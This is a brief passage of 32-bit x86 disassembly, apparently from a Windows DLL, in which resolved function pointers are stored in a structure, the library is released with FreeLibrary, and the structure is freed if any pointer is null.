mov dword [edi + 0xc], eax
call esi
push ebx
mov dword [edi + 0x10], eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
xor esi, esi
cmp dword [edi], esi
je 0x10001851
cmp dword [edi + 4], esi
je 0x10001851
cmp dword [edi + 8], esi
je 0x10001851
cmp dword [edi + 0xc], esi
je 0x10001851
cmp dword [edi + 0x10], esi
jne 0x1000185b
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov edi, esi
pop esi
mov eax, edi
pop edi
pop ebx
ret